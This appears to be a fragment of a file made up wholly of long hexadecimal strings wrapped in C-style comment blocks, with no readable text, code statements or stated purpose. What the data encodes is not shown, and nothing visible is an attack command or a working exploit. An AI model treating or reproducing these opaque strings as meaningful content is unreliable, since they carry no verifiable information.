7214d9e4e29a7edf3e4cef3866984fbe7e5e06fa6eb7fce22c2ac9adbffc753475c22e5e72e72414a83722f6b0fa4ee395e662bb163937ac91079919d5ecce91b69b53cff77bde8a04c5cad7605e3131e8d5707372ee2d5fa711e10a959722b25c5b01263ecfc3a6d14c865a5a773af6b8c4508b9b7ea99636f94388dac87b116d6018bdb21d744f905ca388cb52afd9b06322b861bf8d182ba390ae66faeca6b8f606d4f5b8c4154dcb2f3f7fb00eb586d64d66a62b6fa262cfedc06d5438dddb567fedc2cadbf68bc4c2ea6b459baac51e0af557b4bc97d9879ca6fcae4d23088f8617f949d4d03ba2711e23b238a169bfeef86cbbbc43ea21ddaef9a5f92c47634d2887b6e1f66545d0fa25d8c42a7e03e2ca7d75bceced47e15a365695e97927d29f2d2946cadbab51d977363b4955e1ee233576363edf9130d83973e680dcbc4b13abd70ea86a3fbd21cc094ddc6f1bc15397bd4f84f8ff56132f679103e7a3def424c7908135c342e6e793de9014dc0957211c6a788bcdea5f21e15e9022ce764a4b515713df13fbc6547c2149764c6895e065e39d5cabf9797afe5dcedd08a9008f9f785d4b3858d689611adff01aad4077cf690b33232ecbfe6f3a3f10e7a91713e3d60c9e3b2e4faf17cefaf6fbdee9de36230e5d715ec076b3d1db5930fbfd2dd128916a70ea37952bbeccdec2a8eace1527d8c74ae02f5bf10fb3462050952b6eee37d26bbb440c2b04e3533038d6bfce8cd97d9556523ed183a3d6779c7bc7649b02354e99dd454054f67241ba358b7b14da4c096695a19691ca3dbffc831c484a80820debe10c690027e72becfdc503b725e3073c781d8869ea937f000ba66c1a875671ec0e39e8c7e1ae905849398184de5dec437be3d4c1968eea5a0b47d3d0381b8e9a0f0e50c644370d6ae6c6f87448d85638eed4f09384e8cc4d8d2b5a37b1ce0ab9734d8344a75e6081c024bc9ccea19292a5e56501ab1490bb90b3bb9330cc78b8388740c5b6d1796543cf9aafc29e554eb37c81a00dc63950b938bb11dc7bd028fed0b6a1f9b567ca7db14527944976ae7c58167811a3862d760b5e36b12391f92ce0136a4556de397de5b41ff320043719cbd37826e1ef0ccd43235600e34e53fe0de6b7818c8e6ec83440b1411015290164a7116a964af45e09e9d656231f89c54656ab5aded8c256e4950942025ff056ec408b3adb9b3301d62a5cae4ed91a20d8db61abd81eabb63e40b520e8d7a9ac84c587bf41f3e8ca63491276fce9247ae2c79fbf25e8eacf9b98a347a7cf29ae7137f285ce56694b7ff750ee39abe69dccc513609947b12826c26152ce01a260e3e399e90cb7a05084eb168c061b491ae7990ba630ef40c30bf0270c754d7e98b03a1a977ac6a3fd10c3b1931882d3b976bdc03b276e589d39537e5bf512176697d329b1b359f45cb908b664f1aea2fa2398aaac9c6776744cfef47818871cc028de6312bf7e67cad68dcd55c52c6024c82649f4ad389032ca879244f36b2473173eee4210f3c904c967e01bcee2f78351dd9c445680915dde7fbd357eacfee7c67cba727a9ed2a564de02d4f80d25f85e28b78147b0f2e035f35cce7e97969a594a45e107a5725e90bf275c87cd3116f9dffd3d867bb0750085f6b7319002b201750f577fcaa0ca16514e5bee20441de90842f27599000e3e470ca205120f6e302313d54421c5f1f4c91363419bfad722cbb6c35983e437e996e0e1e9076e75f1e575bd1c4d63d3434d8a547ad5ac2481e4ead6e0e24330191f6ebe567fe46ab47b5eadfdd5f65a20f6300f1c52d50b07a82c36d712a6043ecce0c30a4b54f5474df465681859bbc2f317b74d48315c7fb7bbdebcf765ac94a9d647d76d5f83e51ace1209f9daae0ea5231512e96b8b8fecfeab0091f489e8ec9b56b18f97fcb3be2a7d3a192c4153465f1a2c07aa6d7fee8531141b915de1d0fd457ee13517524c4b5e334010698589a5c41e1e84a69be615ed1bfe3a9f52dc502c1dc0d1922c50fc35b7d0c6111fcaf7272f1ae69a070df8739cf5e19f9c90980a6f5563826ab1b6f471cda75bcab934fddbce629aef9ef163efee927273d4a69b1dc7f49dd8592509a61bae267b3cfb0a4cf5cc7bc1d8eeceb53ace5634c704438b8acaf75e4d05b1dcd41f29adb9dc9fa5ca28f519f3805937a182cf1d63f40f6d1279d3f4e034d1220e54a9eebadb31dbb8e3ca4650eb577dbe5d0507363df5cff8e02a4b1886e977db0b79a90*/
/*36a56bf254d3eee9032cd2898f882991d070ae3eaffad273042c2490e54e59029167f9f4098bf3be507cfb27305ecd3d166193b88cca4d2b2bc4a09924ec49582ca11bfeaa678b64b1df76906dc602b024f79c512fd08909dacdb43112718284cf4c47839951cdea27a032463bf2da60a0c78a51b89684a92e77ab5bf51912c3e089a640a1c69d00b0febaeb74247ea6639b8ad52a0a43c76eb863fb73178c7d51e972824500f7bc668dda61dea215bf2144371c96e273b854bd73e6646b1338cb6027f8eee6367c7550aa3f01e38ea448220df6bc4a1214453b1158d1bbb528e3ce5852741db99cc68743c28a11bef96c724effbd76fada01b8f33749c4f6b12b3efffbe749eb2aec4637231a6247ccfbf2e517c0ad43fd52a86d3ffdb2e4824d45aa3e179e8dce22dfcd5e3e4211fa3bbd57625afc8aed486bcbc000513aa1ef1b171f5b4419cb87a42492f5e51de7513b5165f0711f0f17c7d34da90d9d247278b6b519ab814c44345846cb77754a8ecae95bff614da6b0671ea4650c6f2cfe66c2eccf0746ddac68c712694bc1d02bc54fb7ee5738e8197dcf1465bdf10a43b65cc68507bdc1122baaa29198e44877bab4255284ceb4d82620a8818a1b1e0c59344132bcd246019be3cc92078bfe138fb15ec9cc6186ba0c0a2665265d7b4096075da06bc051a807c6d9ed32b327e35b5e64c93ea57cc449d780065d35caf69516e27b5d99f9d2af23693384bbbdf8f9453d013e49f2e7b360dea7104f63db9dc1ebbe7b84fbe099fa2de02801818e245affbbb78059f7169ce21e7d8b3ca0e8569140116a5d1c4d5066f214702138a1158fd5c8941d80affb27dc889be7ae30f375b1a900a795543a307859aaa9d8f511f71fd3b71b5da3d9434c15ed4598aa193e056e7e1e27e74898a2036cfcfc47ed71b1de3a610ce3448eb3456a9b87d44b0bf176b140b880bd5ce5694830ac576a69bde0bf33c7406fbfc15118e51ac48c1c327321fb93cbab6835bd1d69128d99707eb507718d6172832d6ce241c49fd8cdf5d02f3a69a284c9a085f3d8eba070a6f77ee669992e692e45b40b44ddcb2c6975a05600ebcb09ed8f5bc8c7343d184bbf561522d54387d8956ae1ae190d2a8af187a251fa85aeec7ee3ac8a6d13d0c93e4fabcd93009f48236685ad236685a6769342aa3ce4608b15fc27fc05b4a363933d04724331a73f50331fceafbf5e41280562e7295a949ef33592c278484cdcf5d7d07180b6c691335367d6e94870cb0dba0b12a1b9bce72dcccc7264eccca4d4b17baff43c5da73ae73e86b35bf7c3b3033a8b7674c1bfae8067d8eb8aad090515ed5a9baf680fc1462134041663f7e7d0d2fd2bd9f6ddc893a026f3d347d69b6166a2a8b53cb0eaa43e856c973296d8c265cd817b82bf842f2f8e977d5ec288f5c6f8828694178799e8f4731fb586cfb9dfa27a2b9903098b417bbd99b20ec92f546300adaf7ba361662d3c2a4907b70086932894319ea0fa823df851b3875783b9c71d511bc57b603402a4a462e8cf978518e08ba8d2eb2ff08b3141f2d85bc2646169199d4974f854e686dba03e89aa58aadf6251af13969f7e1469dc4a7c5c0b40333476625ae3729e228b1276f83187f729451b56d9dd2f239db264fd685f45c255585f1dd1131ea0cb1a1408a0cd95e5b5a03278f4a5c562195be6d2e766fb4173e2a00d64e816cda9ba84f6d1bbbde97f15db2bce3cdbcfe69104c073cb58f7ea4d654bdc03a02076c14fa1ee3bfe2f414390f0f5ac0572c49438a1c6598eb1f752dceaccad2e97af39abb028f269a188fa9c88e6dac1aa45031ff48ca80555f084a5302fb865580c1b85be43a9553c9a8c95bfe7c47049b439fec651a33869df85d2cb2b1f13dd23927979783488aea88032d0e19d9e6866539f88385e743217515d9e5da601712e2461e83043d417ded57bf673f75d50d75b0e5e933c3bf7fbd12c09aef33c8808fb4e03221d3e0747ae34b1f9c5fafcfab58561884faab31e070d9194c74a7f1bb7bbbd6f555b385359b72a169172542a23b3cfcea063e72b1585b927d21eb80753fc7f4257f321fdc4b4535f4ba1a1d085b83eeb3ef51dbef50b878533c696c996b4198b6075bd58740caacacae762eedd80d72c66907c53dd3d4053f84dfa9116b6184694e9650fdda2052f0080ddfbff4fb73aeaff61842595ab4998c9b048ac61d4aeeb972d59d649c9b4fdcd580816c49f704318ac2b345c49f3613e3c0bd544d4394ea61b330e97e1a0d384f1b24e4ff071728cc077d6e33379f1c33a7a60c2192e209bb89b77de8c3e1cd016f7f6cf3f9b3c1d7d4dc6b73b50c13af2ba76293fe11c032cd66dd5d547306e02a361f51e0bbc60c2e367c4664e9d27effc88db7738085b191767a4ad12ab5e9974b17f5400869e62495965c1f2819603d7a3e977dde5541f6d65709659d7b6d37efbd76c99cab90fa86813c2abf27f3ad8282ad4549e5ea60458cea1894753a575d52752c478345241145564b2017d4408f443c43f9191c5f89fab438bda2dfcb51dcda32025523a95d6c52a7926e8028ec392353d7808eedb15fe1094a957ecee90d5f8498f944884fca29bb22e2e2c7fc3e6ba175ceb5a1c689a63012465c8f0d322611b361154ce7794ca46c9ea0ca11aca2221cc79fb7c659cbb6ad6475560d70daddc7e404df4fd458948888310aad01405a31cf4e04f976f1f256ea6674f08cc2c6113597fa61939f3fcb40edfdaf2c434f78b206e96d81e2db8c4a9c703e564a8977d8e8619ce9d4e59e85607f45dbbfdaec5d3f9f82b79bb494118bd*/
/*a431df0c0cdb39b6fa7d026607955ef64a087ce8c4491f1351ea9375e435ce63605b9cb94a2d066a36321ce1a96fbf9d8ef57aea986dd1265cae6f43ae52768cd64dc1c999b6b108461f443fff4ccc6b68cc187d461e7b4ae3d26f3bf3a8713c001600aa55b41212d9f3ee6054aff5e49891f0f25cc0817e72dd7f5ffd01c4903d6f4e9b1465c17711efd2686429440cf659fd8b6d87fe99070179f0416452014d4366b122825625209d86bff068d4d7a298c627c8bdc80ac23a346540dbef5f5025a2c63f0ed6425fef6c0f920ae203e314fcd11fd135ccdf5fbc752e973f4c34522b4aa17c1f8c65f31b1a76f8fa4cdae6f8b55f41e6b9c10075058c1c911a437d2e6f0a8c2a3045201fefe9df343381c1753c248a8c40b46cd7fb3bff7a7b6b2294fa69241c19f54c4698d302de989ee55ac23debf17ad14e8162f3a68f95bac6efd96e37129d9c8899cb9268e783f80fc57a267056e00720c1bbd7e6ca56db8c368a10d9e0b229831bd64005542517897cda85c0184756544952d7f909b2f45fa58a8634e2a9f656d412c7d31d6944d2417935c5b0905305661472ea15c70a7d811f27eed2c12ffc4475085185843269bcb07a00a7e7d012f4cceb3fbc7584f63eaf56f27f26082f5c6f584e83a5f76878e8bac6b7bb3db13dfc752e410b85832077d9849a8ebc2a3a0516cba359b3f9e48539f6a46c4b479e774a73a63ec28bef494f340b4e4ac0ad7d9bf14d8591eac720bad74ecca065bc9a1263e070bdce488465e4e4da0bac3f763016ef4e8586e5a2350b07dbf68128f48d43af5f9ec04d0c4c85afb085eeec56055a861bf48dfd99affbf9383e72609fa3283cceb9f502939b3f0b191c64ccef8e9220fa737ca6ad681c1b2cdd7fc6b634ae9ff5f043c5c785e81146d73374595e0d3b02797b767847bcb4eb5b16ae2cf289560feded1e93159e33d91ed64627c1ecc3480078796e5161b8541fbef2380ee56c1aa1ff6fa805f5dd6368d409f26650486eb8c2034b25c94c35ba559023baab70a52719662cd2b5466c5129f7780b844f5024c845ab734debe71f38103152258b825fab6905b1124317513825c35421a729fa8c2716f04694f9c086fae4d59cb76275625866a99d4e2b8c461e90d1854644dcfebda145a700f3ecab164c6a1f7ec6de3459113b9dd2dfd8c6766050065221f5c8af0a78612f8c0d2939a0533d7ff219c6be626a879d30eb276b5033ca32892d90d153c7f590cd01959fe5e91671002647007c124252be66f017b11b896cb50b2e608277c629a464a8bae4d4556ed5822b0ac714b8483c7662138f187c9ed4fff531db309dedcbf364edfea0aacb3c17532d2ceba5f1d88960eddf68dc5b7e2a3b6f57e8e64b145f5bd44af8242ef4bcc320fc0b1bd3867cf2df8b277d0a337220807d1cf8ddfff5986afc0d3b1dbb7619a4c5d26465a1d169813b4bccd9edd41b34bb8671a8b2ea807b4d6b1a10d718d719af757bf5d75f623a7d9322484f2816c843e4f9cf1354f30e172e712725e05fd27663170378bfd8089c1fbd462add3d24a999cebd75ec3437f617b9f309ca361c61cf57a14246de6ef126e7493ebf816c955be77de7fe67a621813cc7ea510a7634376cc6b5ac6d72fb4a13e49297f2048605a4036a35c8318532c8ab83cb22091ca3adacd5204598f06bcba225091b175f6daa9b1500651edaf4d3ce3306079a9b86f2850d5fe2a0e2818ac136208e4a166d20d4c6cffb66bc1087c9e2dbed3d3f3be742ba6273ba98ef2732b2897f7e9d305df5439b536d6338e52891767164c34baba9e94d0f9de8f1b6e56d235643966da27d99cd923d5a497da798b262555378aaf4369e3f3045c659a838e857fe41f351c47bbed67f4dd9b35e2afdc8d921d8595560628c60ec0cd0eec4491aacba41799e0686a45cd33ed7c79dd1760efe1f9d1f9dced1182c44c337924161c691d9ca47bc82e9fea9c45a8ad84e8cdafcf214a0fdc3120f9f2d2faeca477b88850a13f11996a029cea6c01ffe6a37c721c6ade648b42371b445d566068a5eea988affa25e6b2b885fae7a7b81d9acebeaa4a8e5bc3748a3bc1aa3c3542cf5c22951a85f9902dfcd7227dcae9a4211076e829e50aca7c2c27bd0be3767ab9648848d575a2af22a4112685ab1ab5ffc8c8b34c36589ed4e7de013cf11c371de60c1122e8c8606d641cb88deb86417ef2dc7d02b291ac0db589298e3ed5a25e9ee72a81c3067642c63c8084c04807fde9c634229c61c826c83497e3eaa639a94ec7fecb3b3a78c2a651e6c5866e533213b78b3b05a7420a7ea140eeefff3356f75c9eb5abaf3ca30e86804181bb3a3cf3c2a4c6515513dd57f55434449b3b706a9cbe26572fc2a207daf0ed99ea91e81f5107aea4a15e1efc900d70e8ec263342e75336e323bdd34a8e0ae0b31f0336d01370184afa534e30a42d14fed6e49a7c22a93c33ddb5e9633b5eaaff6a64cc14ce333fef967ab315d010b7ff3ea3336879ec14622a47cc772ce6d8b4d8282248dfeee0514d856e21eef0b376ac9efe3796a510137a4c42b3e7db168c19838f363605b4667902a052ed6c21d334e4012a7c1a4bdf37af0694ceb4d91736561b1b2b50aa5e186e8d9092b2dc713c69bc9c539a3ac2901cb8402523d2d1b2a515efe46c3f0a38b933a32c95db3bcf0534178b06925dfadf717144cbf496a22258d024fa1f008ce4f0b1cdae2139787646cc9f8c15ff6b7a5565822e5f4ebf72344051c0f4ae33df1017bd3e1271f6a0a70b73efaf7c34850145e7fbc8bd07430b2adce2a19e6990df7392ebc669c33*/
/*57c3442a517c3dc85084f687052827fb1175dc65091cc6a27d30ffacb87c57f4551138021ae2faafad2129c8ec5a58825506820de72d3801195f84f8414b9c0a67c0c5e83a76345464e4dc63a1ff8d274c5141c161b5705c654cbed27a6e2290b926a95232bbf528e6699f8a5f10c36fb82dbdc5e17f83038782f0c2b2294996ea850605a9a189b0eb9fbcc68acef3b969d1b2da65876c83708f190ad0510bdd0c44c077c8ab7759f5d015e8af5e6a9d9ede226b01125b567f92f7dd3dc3ec35e5a939485246efd6c36ceb89d0196f19a195874950043aceb81e4f88a185b674277e68ab2c251e493087f180a198c34c4e710935c23265e4b266fdf1d9ccc8067bba0d84c52839f81d5faf3eaa14d64af493b22881b627d39051f4bd8c44cbcbaf7e9ee9daf76b99067005062b9221d17286a4f88891b8147987d40367ec7f191c23b30364ec4c42f04913516cf31ed5205f867ecc1b64c23d57e3e3629c5f2817ad885dc1b9a3c6b48e72ad546aaf9e52aaf29c6b8397c27400fd15c6f52c5ad2f2eae9723010bef078080e5322a83f31fc34963019fc6edb9cb580745159ffecc8a5d71f01137fc117aa0f1460ee2157ccdacb735dad54bfb3128651f49acce3853b0f7a18b3db7f796c5687eae39eb79d0b31f89eba9ca38622a54e1827563802d5691ba26d10b8589cc85f942e6d5c5c3301cf59778a612ddc525ffe24f4f6c0e9bfa927452a102623b7caefdc74314c9d54696ad8b3570fde0f829bd31851b87712de4e08dc6c16e4108beb6763d69feb743d300453a22ed1713954364905731b438dd9f2aa63de61bf6437b208bfd944fb47aa4ea76a9dd07942a1cc0742c5c1518efdec619a52305b23a6f70811d17f8014f5aa3222eb007fa4d54423a0a58213fcac8ecee51717792e9a1f47fd56bf432eb22cd929e77559279db77f152213d9220f5f8dd398ffd7f2602a6be2d98fb4e4decbb03ab3edb22cda0f66f7d1b760970b5798139a214b9d9c711bfbd558fa2b5a7c243fda36e1c9cb2b01f1ae2f46e95b351f94ddc85e7c7e99203c4bd43ff685dd949aaa33b49d455807f81eac2b4273b9a313997a8c4610557b21bc28657510396ec97dc3a7eb42cf69e27d7a294846c9a77c2f9ea595303378b8bf83c7b52ee180a1e8fd9113b2dd9babb092affeb7382f1ab75080ce0fb6da5594c4a7a7478218676fb9167c3ae8a32c38ebed0dfc4ed49fc4d10844c522ebdd986656c138e6dcc931b5461ded6f3317d315768aa40f4b7adb4d9adbf6e08501fd59a32ddbc4c18d8bd79e46aced463e64266b9a0b2a07792722f853c99bfec39c5b05d8b9edb1f5fbaf0339d233c0985622ff647e3db7ad50ec9a35aff6df16d34a7940ad335791690cd12d9cfee4cb6a7c5295d94d7ec874876db0dbc0c2fa16c1ec27e9af309682e1cf663227c701ed4c074b32eaae594a61e64c18c5faa0b25770655c90da89d4e83d54577133a39b1f27ffe5bb9547ab46b8e0da3201f6ff0cc25d51ef2d8bf5e1a67ff07eeeaf78a8970355a921299ed68336872fd34d976dd0f8c113435d4a2fbd0a079537f6631a78f4870e8e6560d6bdf42a79aa7e3f443428fc4efa36a8a4159579cc173022cff34e34d2359219b8135596eb844767599e2be9e20f3a6146ae615f294f889719895d9c74d36d2c68a39b90c7d6e31db362492de316d50fbea21ab371cc2bd5d1fad9740f327e6f3a00840d08349a137142c96031b68d27546a0290250f16941950235c6ffd924da372bdf94c241b6c5f88dcb60be8bb7889de0d329061f0793ce3f6104fefab8d8a940061313fda67383968fc4f6a64a930868baf88740fc14908b51af0f8316ee3023821a5f266ddb79a3a0594cc3d775b9db7fe0070ded77180b0809c798f85097c6edede4c2911271e46212e5fa844dfe56fc0773c7631af52e416dc7248d5c50eac00a1a71899d0d3fe5bd53043eb7721be202b2732bc01493beb6bb2a5a7c40aa284f106b4557dec286a8d54fd4291b3ee47a26b4564cc53c9165de6985359334812ba28fb3e1eb7d5a6e97edd7f7f2b41a3099794d5d5e58b3be82ff7afdaed6f423570e42c855496b70074c109f2a0e60961d19edcded49cd7fce02f1e8d5136b36abb97f3443e1c75b6ab4d3757916d4cb21cca3b0124270bc32805938c8c294eb2aa7bc8d244cd546b8ebaa9e0a57471a64bc8a0ed26bfe1dcaf87f9e11fbf54f75d54b2c9366506957d09ababd0c09b74b3b2a2034cf8136041b88bdf18c839cc43ea715a552d6494bb4de8e9896c751c6caf8ed023527505f8dbb5244fa9ff5ee1c68a97ff9e3b0300333c7d87f9b4ba1819ca198bb7d161971c03331b69cdae114cade0e615d46254a3ea5a96337c925c544475a6aa482a22fbd2045f23992ca76d2bcbe736d761bfaed96df6acd86aa9fe9fc029df4996251f06a9e855c1aac0b753a66ad9b5f93c82ed5d399cf116944b96a6f686c634cfd621799d4c2b6334ae3ab764140609547e8d64b14948714e362a8531199a8dfa1c61fa39a5859240b9ec767aed54ae0a6d3108af15c002a74802deb585e6d51dcdf785d45059e4d20c9abbd923452ac6fd2957fda5f5dc6e8972af7c63b70210f27cbed06a0635ed9d5fa0730e0e41999e61ed2392d01657faae10de3287b8144da5e414a05d0bd9d38d1d2f581b936a2c8de4912e790c9da72092c5387b52d24cba619e85a9417fe6e17bb6d06e28bda0abe837dcdbe9e7371f1589094d2b10d45d9184b69498e7edfbd490294f052debd696acc0bb3c1a190869cf130bc69d73e8a09a485f4d2b*/
/*c8bfe6cda1e654783fcfea66f1d5ad4de426b1cadd377dd9a8806a8651cc5e0d28d074bbdfd857562a75fcb2acdc655d4e807a6b8f0b3c38b7bee6cec75bf126872519041f4a5cc49dbced8bdf66ca3d50f5b531f78b4965406288dd374c244a802ab55a6cb6c69812d149d3cb9bb6257e9f7b68e729d5ed0edf2e8c7f779ab3079b21bb375342e868e45733e8c762fbfa5998e452cb6c73b2eb034b4d933a01da64b4fe9906229af9a6a6727a49bf9cd34ea5ec365ad6932ba0f0d01bcfc005c6f2f466050bc166b983301e9f29042579cac5da3bf669f30e210cd0a04476d6f4590f7cbea9fd9a122f4aa4c323169f23665d24d6ac486e3bd652d119c535629d5e4bc46f547de0a21c325c09cb36882ae71a577c2eda1c881b431a682a2f312bd5bdf8fdd136ab54102dfda2253f3b5b2baa328e832a6626656cf2eadb468d590e941e49278b5c0005e137f0ff9ac669b872319f5f114b7b76b0f25e592125a05907f6ef241c31289d67462bf40e64d5e62cc83db00a7ef7df04fd8e9e43e758b2e03a7c3a5b392d2400a072ec200190d67b1929f9c6e544ecd7808fe7a6a6db96e9330abf023f4c28eb09a4228b19e4c14ed5810e67e3d958a66b2f6137c0bf72505dc43ee7cf1b98dc601da9464cd8494de856647eb47b5ba7dd41895d0e2fafcc75cfe475c7d5ecdfe679b4ad33b57946431ec6ba1cfdeaddb6dd2c3befbd08e232b741375efddb83cd1c6a31ef489e12f88b9006c8cf870e230b0f9a8ec791af1d099650abecf5ee22ccaa918da03aa9f129e96e20468fd9b162c648ebe81d4fa3f40e6767ea3fb4aa35ed47acc9bfe2c3920087f678bb8856022ce3d51a19d3e6b5c9d6b61699ad584501ec105588a8844bdd8704954ee729dde746357c6a28167cf8585cc2147c6286d872189472751d8ce5d1ba50010f95cd9e9c51935bc0d85132a47bbe6803196ec8431fa3bd7ddfed8df668a2c1bc7ed9992265774aeb33871ff92f40972193452d4600483c7c3c975493d26b029068d8ee102c14eb3966171703abec3f7a383bda462ebd1fc8bd11cf80cb0aa3fc2f852ae8099f7f62d021f4c98c17e7b96397ddff08e242112a222d1abc00ba9981d9e89fae5d22c42182eba9539ea6726cfd7ea06bf5ec84569cb4f33d15ea0803011f51daaa5c4f2d242aac105906fb594e18e27c31451da8c481406ecd46013b4217c556ef8482713596662c136f1ebed41268031b3ca4fb76a8ba6f0b9e9c4284e20e2e6df3452aad92056cd283f1fee7ab79c790f24fa6f077830ccf2aa948a769b491ac010a91f70d9bc1890a6c7c7076f8903eb7e1c63d8c585cea11ddcf1cb88a40bbfe05a16f1d842c6d01d65d02bc07798ca5515e60ea9a261620fb73913ad1a0c8138276ab74f91e53c8a14c1e972463d2b34f7f96e508f838a5f88db7c8b387f6e271dd1725ca3fb98052b93a1afaaecb9b3f93b40d9392c254239d808584554c9cbf2927c4ee9dbb270094f9c47d89ac84dfafaa37fccb260cd40e8ab2122fc6c295caed95b7a9b6a883fc12088be1f79148d30d685397064b2b4379dc836dda96b65046d469eb8b8b20770fbaba6fe4e52870f97ebe95b10950e906bd163487c81cead41a1ef63606b28c79e5bc73e8c2703e2aa255567876859385e9fac5659d794f8c92058c8da573978ffa54b4b299373e6a1540f2961a8ef953495bca49daebcf354a0795da1bdd970316641bcc309e15b41ac9d09253f0319565e7723fc63f0e80bac7d6fb93e163253ef9d5bb203721935991c87f1f0c345473652a7f46a24d97e6c54a8a6789d81d9abcaecdef7396dba68c2fd25d8f704d402ebb9375e86e8739d995525cc0037f47a98a37d77cee8eef1372f81c73b2f8b4c03995f3f66c6cb325658ec671b2e2acbaa85c18d1bd594c0f4251c87979b30d646a75a954f9bad21d6be91c6331b4ae6d3b8c866c788007edd801a37bce07ae76b06a0e332c84ab1f482f0f583ba3d96a0926d23c106c8376e71a412b1de7a35100d459b116d92daf985b422076d9e575782d38ddf183100f3334dda0c5bd8ac873646e1e84c8a803f96f917416beb514e4da2762a97359c5327e1ca96cb0dc85ed31706775a9b27dd9cc9f6cb2ca44bd174d43cff02cef41cdfc91ec6c1190d85f279f37aed8bf8e31db7aaa2d2cc29f77127d95daead7429ddac3eb259daea4d2eeecd10c0d583a56b2eb10ada524064e3bc52230c8206fed04bd6f6c02465c573023780b2c173b73a5850888b5f90566529088681dbbfd55820d1c6f81eaca27557bb3c91eb4e46984f842d19ee4d35e7164664b3083777974f03ad8093ab35739a0591d7cb664451a93e18418d33f9a38c3e24a4d5b796a96cdb3c4fc346ac9fd3f089241568f4359a186ab4590e6030d69e2c8f1cc4c1fcec67b26ac07b577ae1df22755188fcb36c18232648f2f6b6fb4a2fc623d03f14792e9ae094e8c6b76f6e4abfaae5a3fd08e7a99869ecbe24b281499d88d803ae3a1cc0d9b4c0dba0f26309a4ce95c1c19d12a7408210eeb8086e249a72afb42ab53985fc2116d14c4dd79a5aeb59ae8838a8bd6a30b01466797f61e77a13f219e94d54037312d1734039741f589a739f6a981b5d448dac518214aef0d07f3fd430b35cc639f339bcd1f215747b60870a58e26a312a4739a011ef93d9c695e28ca6d156cb75cde09b7c35442101550c9dcc99b2e005772889cf28e31f39f489a9fbc51d204bc3483f8a4583897d38aeecced47d61ff6b0aa72c4e2ec75c17bc00d4f4a2adf25a4e806f65787fc1854d8e431f12aa8b5fa7c*/
/*33be0eedd383bd6c4c251a776819f44c495759f7446b160fe1dc94a4677d57942567bb18682b3819b2c47f8f2e98bbcdd4618b269e6bf9dbd126abc273d68bc5cde9c62a6ee373749ef43d9dc484e3cb491c5df6db1ee4fc6a5244346ff10c19e5506887555e36ca1cc430e4b4c31de6f42ea3787172221c67c9d50e62cff443259396e2736de27ebd076c3741e88f67c86657fb00183092ad45ce3ec5386c2273a513efcc1f854681d5e768983bfb20877432d8817b3e66e0c15b82a24f1b34ad8f9d6a7e3f1e1b6cf9252ca012f520b69b9b79616f30a688512a195712f611c51c61af5ac9c2254875519315fc2ecb4df800c0b12f277b765bb909dde768e26c41d703b2ec698fdebcc17a40d698ab72e1aeff9b9f227aed5c0df0664efe42ec407e2fd000fce17a60c2a87881dfe2b2a3812252c77cca9946a692fda3997bbd7ef035482b93076bd5490547864f8561a0ca64295f2f7ea5b7452f020fe3ab64c516f23aa794afa0a4bdd7fb0c09ed3d36877e98ca701bef2bd7654421a6239ab5178148d67c5d2d50d00f4182d7a76b4eb02e49ea9206195066d7a74d92fea11fbe0b7a8803075057fd3b4fd8e917cb84ae52a07e9fdb8f3e923df8f0be0be6976f5e8275171848ec57fa8313e4e201e825269a32608ba4737462b7e64bea3b21be13b5bd8643673f6279873d897a2c4b5e4c34adaed38ad40d0a8d3232407d2d762d4f9eeab3752603e296ffe59f86c82afda91f3e82380b2e3cdbde363d99bbf5129cc0d469f1a2632bc00a450449febee1368645a4a807ebcab6379ab30950f02910311586ed014822aaef17aa1f69cde0f0dad11af02a552f25f6d4a8c7787fe9c1a3369d840693b6c250427823c95385674fd6be2c87b0d8e872bf5b782224baee408569854fda9bf20611002990a89141b5aa1a4ed5f7457f4c1b228e5a868a731b70bce7193e25c36945334404cd45d5ec1ce1f5d4d10230577698ddcc7786786c8a293027564754ffc653717692f0858d548d31c8296d9c292893e2da088b05e489cf28180f30cefd43a9f97d9d97de61674f990dd71332e4cc9dff06e09fb2e3ceaf06f3bae1815bbe48755718fdc4dfbddfdbf370e9e0331957f5d0f86279a7832134eb1fa2ad74af3f65aec8ce6858414e369217a36374b094a23303a8e279b9c4254004be210dddf09e2456516878c1fc574034eea8b4d2fc73e598d2e199d3c4f9d23d7600f62caaf2792ef71c08e6e37b032ea148905e6db65a4dccc8d81777b2ea50e2667e6fa98e93430000100834b99071255274435be1320e222bf112871092f209ebdd2eb00999822d2ed55ef5a1a5d717453dce89f0eea3102847884c822713e8d74f946f9beb13228a0c8af692024b3c2c6103f480c9f3c856083f26a3ee0c601584d853a551a703be1cbbe0b6ae0591a6d2bf1369617c57cb9289e6de48a09e6c0eb75d9c78ec0cb772ce89bb784678f28a41a95d5066ece48945f52bbfa8385fd6d6cf852404b2e157ad6660d383bc1fb7c5bd0fb0737fb506a063c84c40049d7142aa94ae35d17ef319e64f2d5b3f678b7e6e10d2cb456e1ab44a933d2d59bea011bd88025d6bec18a6aa5949862eb9b76cad09d24d50b45b3fcd1090eab44d9226fbe9ad6866e37847ce575a8db93842141c9feeb83117c45cf333bda1d1312a7a182bb5118695b8d71062058ba489e1640ff1a5005e14420075b66198230dfdaadf2e4bc597ce294b647e0c98dd05340dac6b17737cdb559be3def40ea940aaf311627bba7f911f216def03290bf3d6c75305b1d948a024bf7f550359d76e59746a87aafd9bc6b1bf7680d1bf23ef0df1adcb57b4b7158e958197bccb8cf18a455e59ac33090b00d556d673e81525c439c3e3b221ab812ea8852b55794061c030a61e8b199a8684982ad1f8f7b8d9aec7b616f83068f2ca0d559403d76ee91e7d347c509182944043635a1c7c89d6e09687ac8a8ffe170397588748aa5727b523336f05005dc35b7a5d40790262c6ae397186a066de906995243971a050458d5f2552c2da4339b17b8182c78b4c4469f7206c153ec7453f2cd8e9ac32486e56aff35dae0c18c865f32cbef0e3374de2b9e29f698905c702b507c5eb849866a03316264403b13d2de9a7f095c17a2941bc02ff7e6c90b7ccb039666a9381562d5c6b1a8a1142f9e6b98d62401eca9ef7d8abe21c3e5725ff18955ac7ee2a732f399fa4a1338c46734a6c32468f88c89a3bb146ab5cdedd6dd98dfebc2414043525be01ecf853a08089f60fd34b4595623ead7c1f3b80b1b613f019c5d4e6bd35f9352e6b419898bcebf34b4baa079606335ffdeb41108ca616880653fc372e8ed537d58ce7ac5b5238e15e81ed01193f310af1f7e0ac34308c90a7c9ac80f0516842ce1e047cda5087638809a1fb973d6850ad7d303fb275d4392e6e3e9c28e78ecfcda6b0af9851a531fcb60d2616ba40f93f939e39771857043f71d2ae57438b6e8dd3eacb6676c89779d7b0acb1630c12d6176e831970e977c1e4f03ce04946afdec29a95044edf0c37ea79ec99c6797fb68f96284a2274c1c7368171ad51ee4c0744fb0149194e2ae8f8a65d12f2e16024a12a1521a64dfdb6d2165587a847496bb2d9ae8ae089a0840342dd2c